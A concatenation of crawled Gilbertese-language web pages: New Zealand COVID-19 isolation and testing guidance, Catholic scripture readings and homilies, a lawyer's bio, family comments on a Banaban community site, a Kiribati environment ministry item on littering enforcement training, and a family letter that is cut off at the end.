COVID-19\nTuangiia aomata ake ko maeka ma ngaiia, te tia katauraoa am tabo ni maeka, aomata ake ko a tia ni kabanea tabeua te tai ma ngaiia, ao tabeman riki ake ko a tia ni kaitibo ma ngaiia ae iai iroum te aoraki ae te COVID-19.\nKanoa te booma n te intanete ibukin te booma ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia\nKanoa ana booma te Botaki ni Mwakuri ibukin Te Mauri ibukin ririmwiaia ake a namakinaki n iai te aoraki irouia ni kabongana te ware ae 6-mwaitina are e karokoaki n am tareboon man nambwa aika a kinaaki aika 2328 ke 2648. E na anaa 5 ke 10 te miniti ibukin kanoakina.\n3. Kakaean te buotoka\nNgkana ko kainanoa te amwarake ke bwainaoraki\nNgkana ko kainanoa te amwarake ke bwaai riki tabeua ake a rangi ni kainanoaki inanon am tai ni kaokoroko, butiia kaain am utu ke raoraom bwa ana nikiria iroum. Ko kona naba n otani am bwai iaon te intanete ao ni baronga aron nikirakina n te aro are ana akea te kaitibo.\nNgkana ko kainanoa taeka ni ibuobuoki ibukin te marurung\nNgkana ko kainanoa te taeka ni ibuobuoki ibukin ae kona kanga ni bwainaorakia kanikina ke ngkana e rikirake kakaiakin kanikina ake iroum, tareboonia te Healthline. Ko kona naba ni bubuti ibukin te ibuobuoki iaon te raitaeka.\nNgkana ko kainnanoa buokam ibukin maurim\nKona bae ni kabooa boon am bwainaoraki. Ti kaungaia taan roko bwa ana kabooa kamanoakia ibukin te mwamwananga imwain te mwananga.\nNgkana ngkoe kaain Aotiteria ke te Tia Maeka ae Matoa ke ngkana ngkoe kaain Buritan, ao iai te aekaki ni boraraoi are kona kabanemwane n te mwaiti ni mwane are kaain Nutiran a kabanea naba ibukin aia bwainaoraki.\nAm Embatii e na kona ni buokiko\nIangoa reitakim ma am Embatii, Matan te Aba ke te Ai Kamitin ngkana ko rin n te onaoraki ke ko kainanoa aia ibuobuoki.\nN tain te kanganga ae e karina\nNgkana ko kainanoa te onaoraki ni waekoa, tarebonia 111 ni waekoa. Tuangiia ae iai iroum te aoraki ae te COVID-19 ngkana ko taetae ma ngaiia. Aio e kona naba n reke ngkana ko ke temanna ae ko tabeakiina iai irouna:\n- te korakai ni ikeike\n- te maraki ni bwabwa ae e korakora\n- te tong ke te aki namakinaaba.\n4. Katokakin am tai n tiku ni kaonotiko\nKo kona ni katoka am tai n tiku ni kaonotiko imwiin 7 te bong\nNgkana ko bon teimatoa naba n namakina te tuai marurung raoi, tiku n am tabo ni maeka inanon 24 te aoa ni karokoa akea kainikina iroum.\nKo aki tangiria bwa kona tataninga te kaetieti bwa ko kona katoka am tai ni kaonotiko.\nKo aki kainanoia bwa kona tuoaki - mwiin am tutuo e na kona ni kaotia ae iai manin te aoraki iroum ma tiaki nanona bwa ko kona ni kaewea te aoraki.\nNaake a kanamakinaki ni iai irouia te aoraki ni mwengam, ke 'raom ni mwananga n te mwananga ae barongaki mani kariaiakaki' a kona ni waakinako ni kabanea aia bong ni kaonotia n tiku irouia n te tai naba ae ti teuana ngkana ko anga mwiin aia tutuo bwa e nakoraoi imwiin Bong 7, ao akea kanikina aika a boou ke ni kakaiaki. Ngkana e aki nakoraoi mwiin aia tutuo, ao a riai ni moana aia 7 ni bong ni kaonotia n tiku irouia.\nNgkana ko a marurung\nImwiin are ko a marurung man te COVID-19 ao ko a kitana are ko kaonotiko n tiku, ao iai bwaai tabeua aika ko riai ni karaoi ao n tabeakini n am tai ni marurung.\nImwain ae ko mwananga n okira mwengam ke ni mwananga ni karoko n tokin kawaim teuana\nTuoia ngkana ko kainanoia bwa kona anga mwiin am tutuo n te COVID-19 ae nakoraoi, ke te beeba ni kakoaua ni kamatoa ae ko a tia ni marurung imwain mwanangam. Ngkana ko a tibwa bon marurung naba man te COVID-19, ao am tutuo e kona ni kaotia ae e aki nakoraoi mwiin am am tutuo.\nNgkana e raoiroi mwiin am tutuo\nNgkana e raoiroi mwiin am tutuo ma iai iroum kanikinaean te COVID-19, tiku ni mwengam, ao manga tutuo riki ni kabongana te RAT 48 te aoa imwiina. Ngkana e a rikirake kakaiakin kanikina iroum, tareboonia te Healthline iaon:\nE kona n reke ae nakoraoi mwiin ana tutuo te aomata ae iai manin te COVID-19 irouna imwiin ana tutuo n te RAT. E kona n riki aio ibukina bwa e rangi ni karako mwaitin te manaoraki n te bwai n tutuo, ke ibukina bwa te tutuo e aki karaoaki raoi n etina.\nLast updated: at","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/if-you-develop-covid-19-symptoms-while-visiting-new-zealand\/","date":"2022-08-12T21:27:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571758.42\/warc\/CC-MAIN-20220812200804-20220812230804-00543.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1994,"character_repetition_ratio":0.068,"word_repetition_ratio":0.013,"special_characters_ratio":0.219,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Doctrine ao Covenants bon te boki ibukin kaotioti ni kaineti ma Kaokan ana euangkerio Iesu Kristo, ae a anganaki burabeti n taai aikai ni moa mairoun Wp\/gil\/Iotebwa Timiti.\n22 Imwiin taian koaua aika bati aika tia ni kaotaki ibukin te Tia Kamaiu, e anga te kakoaua aei, ao n te kabanea: Bwa te Tia Kamaiu e maiu!. 23 Bwa te burabeti e nooria n angaatain te Atua ao n ongo te bwanaa ni kaota te rekooti bwa Ngaia ana Rikitemanna te Tama— 24 Bwa Mairouna,ao n rinanona, ao n nako mairouna, aonaaba ni kabane a karaoaki, ao kaaina akana iaona bon natin te Atua aika mwaane ao aine. Doctrine ao Covenants76:22–24","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/Te_Doctrine_ao_Covenants","date":"2022-08-18T15:17:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573197.34\/warc\/CC-MAIN-20220818124424-20220818154424-00499.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":109,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri & Greetings from Kiribati.\nAei bon au iteranibaa are e na kabwarabwarai nako au karikirake ma kanoan waau ake I waaki inanona ngkai iaon abara ae Kiribati. Iai au karikirake aika I waaki inanona ngkai n aron ae te Rooia iaon Kiribati. Aei are I ibuobuoki iai ma Botakin Aaro, rabwata itinanukun te Tautaeka, kambwana ao aomata nako ake a tangira buokaia iaan te Tua, ao n tei ibukiia n te bowi. Iai riki au karikirake n aron te kabonako aba, ao karaoan boraraoi iaon te ritinakin aban ma ana auti temanna ma temanna. I marenan tai ao I karaoi ake bon mamaten nanon n aron te kokoroboki ni koroi rongorongon Kiribati ni kawai, kateina ao ai bon rongorongo n aekaia nako. Ngkana iai am kan buokaki ao ko kona n reitaki ma ngai n te email ae [email protected] ke tareboniai n te nambwa ae 73014786.\nThis site contains information about me and my businesses. I am a lawyer by profession and run a private law firm and a real estate agency in Kiribati. I have been working with various companies and international organisations especially for developments projects in Kiribati. During my spare times, I write articles and publications for Kiribati, its culture, history and any other articles as my hobby. If you need my assistance, contact me through my email address [email protected] or call 73014786.\nTEKERAOI NGKAMI NI KABANE & GOD BLESS.No entries.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/mantaia.webs.com\/apps\/blog\/","date":"2022-08-14T17:43:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572063.65\/warc\/CC-MAIN-20220814173832-20220814203832-00654.warc.gz","language":"gil","language_score":0.999869585,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9998695850372314}","num_words":233,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.249,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kakaea te rabwata n ibuobuoki ae te kabanea n tamaroa Riain kabotauan waaki ni kaoki mwane ibukin Aban te Betebeke I kan kanakoa $200 $500 man AustraliaNu Tiiran Australia nakon Rinea te aba ae ko na kanako mwane nako iai Fiji Kiribati Papua New Guinea Samoa Solomon Islands Tonga Tuvalu Vanuatu Cook Islands Niue Timor-Leste N na kanga ni kabongana SendMoneyPacific?","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sendmoneypacific.org\/ikiribati\/","date":"2022-10-05T14:23:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337631.84\/warc\/CC-MAIN-20221005140739-20221005170739-00693.warc.gz","language":"gil","language_score":0.9999418259,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 0.9999418258666992}","num_words":59,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.254,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kanga aron karekean te Tutuo ae Tawe n te Antigen | How to get a Rapid Antigen Test\nNi kabane ake iaon Aotearoa New Zealand a kona ni karekea te RATs ae akea boona. Ko kona n anai aikai man taabo ake ananaki iai ke kakaea angan temanna bwa e na anaia ibukim.\nE kanga aron kabonganan te tutuo ae tawe n te Antigen | How to use a Rapid Antigen Test\nTutuo ake a tawe ibukin te Antigen a kona ni karaoaki i bon iroum ke ni iai temanna ae na kaira karaoana.\nBeba ni katanoata ao bwai ni ibuobuoki a tauraoi n oin am taetae\nTi katauraoi bwaai aika mwaiti ni buoka am bitineti, tabo ni mwakuri, communities ao botaki nako, karekean te COVID-19 Protection Framework settings.\nKo kona n download ao n print ara logo, templates, posters, videos ao social medial tiles man ara Resource Toolkit","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/testing\/","date":"2022-10-07T16:36:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030338213.55\/warc\/CC-MAIN-20221007143842-20221007173842-00726.warc.gz","language":"gil","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000078678131104}","num_words":148,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 11 Kauabong\nWarekan te moa ni Boki ae taekaia Uea. 21:17-29\nE roko iroun Eria ana taeka te Atua ae kangai: \"Teirake, ruo ni butimaea Akaba ae aia uea Iteraera i Tamaria. Ane e mena i aban Nabota, ba e na tia n ruo nako iai ba e na abanna. Ko na kangai nakoina: 'Aei ana taeka te Atua: Ko a tia ni kamatea te aomata, ao ngkai ko rawea abana. Ma ngaia ae E kangai te Atua: Te tabo are newenewea iai raran Nabota kiri, ao e na newenewea naba iai raram.'\" E taku Abaka nakon Eria: \"Ngaia I a reke iroum, ngkoe au kairirbai!\" E kangai Eria nakoina: \"Ko a reke irou. Ngkai ko a tia ni mamanaki ma ni karaoa e buakaka i matan te Atua, ao N na karekea kaim: N na kamaunaia am kariki, N na kamateia mane ni kabaneia n ana utu Akaba, aika kainaki ma aika inaomata, kioina ngke ko kaunai ma ni karekea aia bure Iteraera. E taekinna naba Ietebera te Atua ni kangai: 'A na kana Ietebera kiri n te aba ae Ietireera.' Kain ana utu Akaba ae na mate i nano nte kawa, ao e na kanaki irouia kiri; ane mate n te nukamotu, ao e na kanaki irouia mannikiba.\"\nBon akea temanna n ai aron Akaba ae kamarua ma ni karaoa ae buakaka i matan te Atua, ba e mamanaki iroun buna ae Ietebera. Moan te buakaka arona, ba e toro irouia anti n ai aroia Amoraite, ake a kakioaki nako iroun te Atua i maia natini Iteraera. Ngke e ongo ana taeka Eria Akaba, ao e raeuai kunnikaina, ao e karina te bua i aon rabatana, ao e aki mamatam, ao e wene i aon te bua, ao e nakonako ni karaurau. E roko iroun Eria ana taeka te Atua ae kangai: \"Ko nora Akaba, Ngkai e karinanoa i matau, ao N na aki karekea kaina n ana tai, ma N na karekea kain ana utu n ana tai natina.\"\nTe Taramo 51:1-6, 11, 16\nKaekana: Nanongaai, te Uea, ba I bure.\nTe Atua, nanoangaai n am akoi, kabarai au bure ba Ko nanoanga.\nTebokai mani buakakau, kaitiakai man au bure. K.\nI bon ata au bure, E aki mauna bureu mai matau.\nI bure nakoim n ti Ngkoe, I karaoa ae buakak i matam. K.\nTannako man au bure, kamauna buakakau nako.\nTe Atua, kamaiuai, Ngkoe te tia buokai, ao N na kaota neboan am eti. K.\nAlleluia, alleluia\nAne kawakina ana taeka Kristo, Ao e na kororaoi tangiran te Atua irouna. Alleluia.\nEuangkerio.\nWarekan ana Euangkerio Mataio. 5:43-48\nE kangai Iesu nakoia ana reirei: \"Kam a tia n ongo ba e kangai ngkoa te taeka: 'Ko na tangira raom, ao ko na riba am kairiribai.' Ao ngai I taku nakoimi ba kam na tangiria ami kairiribai, ao kam na tataro i bukia akana bainikirini ngkami, ba kam aonga n riki ba natin Tamami are i karawa. Ba E kaota ana taai i aoia akana buakaka ma akana raoiroi, ao E kabaka ana karau i aoia akana raoiroi ma akana buakaka. Ba ngkana kam tangiria akana tangiringkami, ao tera boomi ae kam riai n anganaki?\nTiaki ae a karaoa naba anne Bobirikano? Ngkana kam kamauria ti tarimi ao tera rakami iai? Tiaki bon aroia naba bekan? Ma ngaia ae kam na moaniba n te raoiroi n ai aron Tamami are i karawa, ngkai moaniban te raoiroi.\"\nTibatiba: Nanoangaai, te Uea, ba I bure\nTariu ao maneu ti n ana reirei temanna te Ebikobo ae rangi ni kinaki ae Robert Barron ao e taku ba ibuakon bure aika a rangi ni kamamate ao teauana ae moan te kamamate bon te bure ni kamoamoa ke ni kainikatonga. Bon aio te bure are baka iai Rutibero ma i Karawa ba ana bure n rawa ni kan kairaki ke n ongotaeka iroun te Atua. Eng te bure aio e bon reke ibukin akean te nanorinano ke te tauraoi ni mena inano. Eng te kamoamoa bon te rawa ni kan kaotiko ba te tia bure ngkoe ao te aki nanomaraki ibukin am makuri are bure imatan te Atua are e tia ni karekea te rawawata ma te maraki nakoia tarim ao manem.\nN te bong aio ao ti ongora taekan te uea are Akaba are mataai n ana nne ni kurebe Nabota. E kataia te uea n tuangnga ba e na kaibibiti abana ma Nabota ma e rawa. N tokina ao e mwane iroun buna ao e tuanga ba e na kamatea Nabota ba e aonga ni kabongana ana nne ni kurebe. Ao te Atua are rangi n urarake n un E taetae ba e riai ni kamateaki Akaba ibukin ana bure ma ana babakanikawai. E kangoa Eria te Atua ana babaire nakon Akaba ba E na tiringaki ibukin ana bure. Ngke e ongo ana taeka te Atua Akaba ao e rotia te nanokawaki ao te raraoma ao e raeuai kunikaina man nanomaraki ao e moana ana aki mamatam. Ngke nora aio te Atua ao E bita ana motikitaeka nakon Akaba mani kangai; \"Ngkai e karinanoa i matau, ao Nna aki karekea kaina n ana tai\". E oti ikai ba man ana nanrinano Akaba n ataia ba te bure ngaia ao e nanomaraki n ana bure ma ana tauraoi ni karinanoa ao E bita ana baire te Atua n aki karekea kain Akaba n ana tai. Ti riai n onimakina aio n tauraoi n nanomaraki ibukin ara kairua ao ara bure ao n tataro ni butia te Atua ba E na nanoangaira.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1767-nanoangaai-te-uea-ba-i-bure","date":"2022-10-01T17:36:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030336880.89\/warc\/CC-MAIN-20221001163826-20221001193826-00638.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":915,"character_repetition_ratio":0.045,"word_repetition_ratio":0.002,"special_characters_ratio":0.235,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 10 Kanimabong\nWarekan te moa ni Boki ae taekaia Uea. 19: 9, 11-16\nNgke e roko Eria n ana maunga te Atua, ae Oreba ao e rin n te nangananga, ao e tiku iai n ua te ngaina. E roko irouna ana taeka te Atua ae kangai: \"Otinako, ao tei i aon te maunga i matan te Atua.\" Ao E rikekei te Atua. E rook te ukeukenanti ae korakora ae bwenai maunga ma ni ibei ba, n rimoan te Atua; ma akea te Atua i nanon te ukeukenanti. I muin rurun te aba, ao e kaoti te ai, ma akea te Atua i nanon te ai. I mwin te ai, ao e roko tangin te angakaau ae kanamwemwe. Ngke e ongo Eria ao e karaba matana n rabunana, ao e otinako n tei i matan te nangananga. Ngkanne e ongo te bana ae kangai nakoina: \"Eria, ko aera ikanne?\" Ao e taku: 'E korakora nanou ni ira tangan te Atua ae maka, ngkai a kitaniko natini Iteraera, ao a kabakai baonikaream ma ni kamateia am burabeti n te kabang. Ti ngai nikiraia, ao a kani kamateai.\" E kangai te Atua nakoina: \"Nako, okira Tamateko ri nanoni kawain te rereua. Ko na kabira Ataera ba uean Aram. Ko na kabira Ieu ae natini Nimti ba aia uea Iteraera, ao ko na kabira Eritai ae natin Tiabata, mai Abera-Meora ba te burabeti n ruamuim.\"\nTe Taramo 27: 7-9, 13-14\nKaekana: E ingainga nanou, te Uea, ni kan nora matam.\nTe Uea, ongo banau ni wewete, Nanoangaai, kaekaai.\nE taku nanou n taekam: \"Ukera matana.\" K\nTe Uea, I ukera matam, Tai karaba matam nakoiu.\nTai kanakoa am toro n unim. Ba boni Ngkoe buokau. K\nI bon ataia: N na nora ana akoi te Uea, I abaia akana maiu.\nOnimakina te Uea, keiaki, kamarurungko, Onimakina te Uea. K\nAlleluia, alleluia\nTe Uea, kauki nanora n ongora ana taeka Natim. Alleluia\nWarekan ana Euangkerio Mataio 5: 27-32\nE kangai Iesu nakoia ana reirei: Kam ongo ba e kangai ngkoa te taeka: 'Tai wenenibure.' Ao Ngai I taku nakoimi: ba ane tara te aine temanna ma te nano ni kaitatan ao e a tia ni wenenibure ma ngaia i nanona. Ngkana e kairiko nakon te bure matam ae mai ataim, ao autia tewenakoa mairoum. E raoiroi riki i bukim ba e na bua bain rabatam ae ti teuana, nakon ae e na kabaneaki rabatam n te wenakoaki i Keenna. Ngkana e kabakako n te bure baim ae ataim, ao koroia, tewenakoa mairoum. E raoiroi riki i bukim ba e na bua bain rabatam ae ti teuana, nakon ae e na kabaneaki rabatam n tewenakoaki i Keenna.E atongaki naba ae kangai: 'Te mane ae kanakoa buna, ao e na anganna te beba n raure.' Ao Ngai I taku nakoimi: ane kanakoa buna, ae tiaki buna ni kewe, ao e kairia nakon te wenenibure; ao ane buna neiere kanakoaki, ao e wenenibure.\nTibatiba: E ingainga nanou te Uea ni kan nora matam\nTariu ao maneu n te bong aio ae katea te Uea nakoira te rongorongo ae kakawaki ba kaotakira n te bai ae ti riai n uakiinna inanon maiura aio. Inanon warekan te ewnagekerio ao ti ongora ana reirei Iesu nakoira ba ti riai ni kabanei korakorara ni karekea te kaniwanga ae katauraoia te Atua ibukira. Eng, E taekinna Iesu ba iai uoua te bai ae kona n riki nakoira ngkana ti kitana te maiu aio. Teuana bon te nora matan te Atua ke te kauoua bon te teweakinako i Kenna. Ao n aron karakinan te tabo ae Kenna ao ti tuangaki ba Kennna bon te tabo i tinanikun Ierutarem are ura iai te ai n tai nak ao naki totoki ibukin kabuekan taian mange ma ma baika a maung man ino ao bon akea ae kona ni maeka iai ibukin te maung, te boira ma te kabuebue ao taian ino ma taian mwwata aik a miau iaon a boira mani maung. Ibukin teimatoan te kabuebue ma te boira ao te maung n te tabo aio ao e kabonganaki Kenna ba e tei ibukin te rekenikai ae na reke iroura ngkana ti kakaraoa te bure ao te buakaka. Eng ngkana ko karenakoaki i Kenna ao nanona kanga ai bon aron te mange ma te bai ae maug mani boira ngkoe are na riai ni karenakoaki n tabo ae na kabuokaki iai n aki totoki.\nMa n aron ae ti warekia n te taramo ao ti nora iai te kaniwanga ae ti riai ningainga ni kan karekea are bon te kona n nora matan te Atua. Ba ngkana ko maeka n te tabo ae ko nora matan te Atua iai ni katoa bong ao n aki totoki ao nanona ngkanne ba ko maeka n te Abanuea ae Karawa. Ti tuangaki ikai ngkanne ba te kaniwanga ae ti riai n uaiakinna bon tiaki taekan te tabo teuana ma bon taekan te mwenga are ti na kona n matan te Atua iai n aki totoki. N aron ae taekinaki n te moan warekboki ao ti ongora aron Eria n ukeukera te Atua are aki reke inanon te rebwetau ma te maeiei ke te iti ma e reke inanon te angkaau ae kamwemwe. Moan kaotin te Uea iroura bon reken te raoi n te aro are ti na kona n nora matan te Atua ao ngkana ti maeka ma te Uea ao ti na rinnako inanon kororaoi bai nako ao ti na onrake te kabwaia ao te mimitong ae aki totoki.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1765-e-ingainga-nanou-te-uea-ni-kan-nora-matam","date":"2022-10-01T16:44:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030336880.89\/warc\/CC-MAIN-20221001163826-20221001193826-00547.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":904,"character_repetition_ratio":0.048,"word_repetition_ratio":0.031,"special_characters_ratio":0.233,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Pulega, ko uara ngkai? ngkai kain te auti a bon nang marurung ao a anga aia kamauri nakoia kain rabi ikanne ao ngkana arona bwa ko roko i uma ao ko a taiaoka naba n karokoa naba au kamauri nakoia tibu ae nei Akoia ma kain te auti. e rarabwa ao tekeraoi riki ngke.\nMauri Sis, nte tai ae reke iroum au Comment aei.Kam Uara na ami tabo ane. Over here in Fiji, preparation is undergoing for Form 7 External Examination. Looking forward for the 8 weeks Holiday. Good to see your name on Banaban Voice and regards to everyone there at home including those on the Roadside, Seaside, etc..HA HA HA. Ok, gotta go back to work or else im gonna get kicked out from my school..Bye Love and wishes ao ena tekeraoi am makuri iaon Kiribati... Tia bo moa, Kee.\nBro, Eriuta,I\nHey koaera ko tuai man koro reta mai? Still no access to internet over there?. Anyway, ea bon maan te tai ao abon maiti rongorongoia ara utu aitaku ba kotuai n ongo ma tao ai bon au tai ni kaongora aio ke? Ngaia, abon tia ni motirawa man te maiu aei am uncle are Rere Mote ao am aunty are Nei Mina Kama. E nako moa Rere ao imwina Mina ae bon tiba kaiaki rabatana yesturday morning. Ea manga tuku am kaaro ae Kama n roronga ma koa bon kakaea raona ma ikanne ke? he he he.\nAo kouara moa ngkai? tao kobon marurung ma am koraki akanne. Ea reke raom ke tuai naba?Kanga ti tangira moa te botiaki n utu ae kakukurei nnai aron te mare ba tiaonga ni manga karai wae he he he ma tina bon rangini miss nei au dauve are tia kamanga(nei Mina).\nAongke bareka am mare ke ba eaonga ni bo te dance......bye and take care...love from all the gang here in lokia.\nKabara neiko te bure ia bon taon comment n am page ao ngaia e rangini kakai nanom n kan ataia bwa antai ngai...ngkana ko kinaia Bato ma Tearo ngai ngkanne bon aia one and only brother.Don't confuse me with Jope's son. He is also known as Nare..I am the senior Nare.I used to live next to the Methodist church in Buakonikai.It only takes 5 seconds to reach the volleyball ground.Te maneaba are te Reitaki ao ara auti ngkanne are ietana irarikin te green store house. Kain ngkanne rarikira mai ibuki (neighbors) Wanasi ma Etita...ao irarikia Ata.\nMauri tei Abemama!!\nKo unga neiko n am tabo anne? Ko uara moa? I met your brada here in this site and I wrote to him telling him \"time flies...he is a grown man now....So what are you up to now? Still enjoy teaching in Kauma!! Tawana told me a lot about you.Well loloma ga tu yani and hope to hear from you sooner or later whenever you find time.\nTia bo Pule...ga!!\nLolomaz to Teitiaki & Taake the More (Mooa) Sisters (Atenata's daughters..they are my 1st cuz's)\nmauri pulenga ... tera eiangoaki ... kanga ko taraa ni marurung n am tabo anne kauma. tau bo ti te kan say hi to you ao koa manga bon reitia mai ikanne... tia boo moa ao au kamauri nakoim, materina, ao tikua ma.","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/banabanvoice.ning.com\/profile\/PulegaSimion","date":"2022-09-27T20:29:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335058.80\/warc\/CC-MAIN-20220927194248-20220927224248-00335.warc.gz","language":"gil","language_score":0.9904165864,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9904165863990784}","num_words":535,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.987,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Littering Enforcement Taskforce Training\nE waaki ngkai te Botaki n Mwakuri Ibukin Enwaeromenta,Aaba ao Karikirakean te Ununiki n iterana are Aobitin Tararuan te Otabwanin n karaoa a na Angareirei nakoia Local Securities man te Botaki n Aro n Katorika ike e a kaainaki irouia teningaun ma temanna(31) Local Securities man Parish aika kakaokoro ma I aon Tarawa Teinainano ma Betio.Te angareirei aio bon teuana ma ibuakon a na waaki n ikarekebai Aobitin Tararuan te Otabwanin ma te Aro n Katorika ibukin karababan te Tararua ao Kateimatoan te Itiaki ao te Marurung nakoia te Botannaomata. Aio bon te kauoua n tai n karaoaki irarikin are e a tia n mwakuria te Aobiti aio ma Local Securities mai Betio. E karaoaki te Angareirei aio n te bong ae te Moanibong, 29 Nobembwa 2021, n te MSC mwaneaba I Teaoraereke ao reitinako kanoana ni karokoa te Katenibong 09 December 2021.\nE karaoaki te angareirei aio I nanon te maan ae teuana te wiiki ike a reiakinaki iai securities ake a mena n a na kammakuri ao a na tararua te Diocese of Tarawa ao Nauru n kona ni kamatoa tuan te kamangeange iaan tuan te Otabwanin n a na compound nako te Katorika ao bon I aon Tarawa te inainano ni kabuta. Te angareirei aio e reiakinia securities aikai aroia ni karaoa kamatoan te Tua I aon te kamangeage ike a na konaa n katuaa n kabonganan te bebwa n katua ke te infringement notice. Aio are a na waaki inanona securities aikai ao n raonaki irouia Environment inspectors' man te MELAD nakon a na tabo te botannaomata n mwakoron TUC aika kakaokoro ao ni karaoi aia mwakuri n tutuo ao n katuua nakoia te koraki ake a kuneaki n karenako maange n aki akaaka. Te kantaninga ba n banen aia kataneiai aio ao a nang kona securities aikai iaan ana tararua te Diocese of Tarawa ao Nauru n riki ke n kinaaki ba Bureitimanin te Otabwanin (Environment inspectors) ibukin buakanakin te kamangeange ao n anganaki mwaakaia iaan Tuan te Otabwanin ike a nang waaki iai n kamatoa tuan te kamangeange ao n konaa n anga bebwa n katuaa nakoia te koraki ake a kuneaki n karenako maange n aki akaaka n a na tabo te botannaomata.\nIai te kataratara ae e abwabwaki ba n anganakia te mwaaka aio securities aikai ao a nang bon kona n waaki ao n karaoa aia mwakuri I bon irouia I aon kamatoa ao katenaan wiin Tuan te Otabwanin ike a nang karababa riki iai te mwakuri n tararua iaon kamanoan ao kauarerekean waaki n karenako maange ao kamangeange n a na tabo te botannaomata. Iai naba te kantaninga ba a nang konaa naba local securities aika n bon Tararua naba aron te itiaki ao te Tamaroa n aia parish aika kakaokoro riki I nanon taai n bobotaki ao ai waaki n karikirake I nanon te aro. N karaoan ao mwakurian aikai ao e na kona n uarokoa riki Kiribati nakon te mwaneka ae Tamaroa ibukin te Itiaki ao te Marurung ibukia a na botannaomata ae bwanin.","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.environment.gov.ki\/?p=691","date":"2022-09-28T09:43:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335190.45\/warc\/CC-MAIN-20220928082743-20220928112743-00176.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":506,"character_repetition_ratio":0.074,"word_repetition_ratio":0.012,"special_characters_ratio":0.194,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko ao ronorongon ikai bwa Tibee ngkai ea tanga ma Boua ao ea bikoukou. A mena iroura n te wiki are nako ao ngkai a tia n oki nako Nakasi. A bon tia n ongo kain Rambi ao e bon tang tinana. E tau ma ea kakimototoi bwaai ni kabane ibukina Tibee bwa tao e bon aki kan rungaki raoi arona. E bon kabwara ana bure ma i tuangnga are a itiaki ana utu bwa e bon nori nano n support nakoina ao akea riki te bae kona n taekinaki ma ti te katekeraoi nakon aia katei utu. Taian mate mai Rambi bon Nei Kareita, Tebungitai ao Ikauea are natin Tonika. Tao tingaia akanne moa rongorongo mai ikai ao tia manga boo.\nMauri naba kain NZ,\nE rarabwa te reitaki ao ngaia e raoiroi bwa ea reke ana measurement Nei Aai ao ia angan Jane. I taku bwa e bon rangi n tikiraoi ngkai 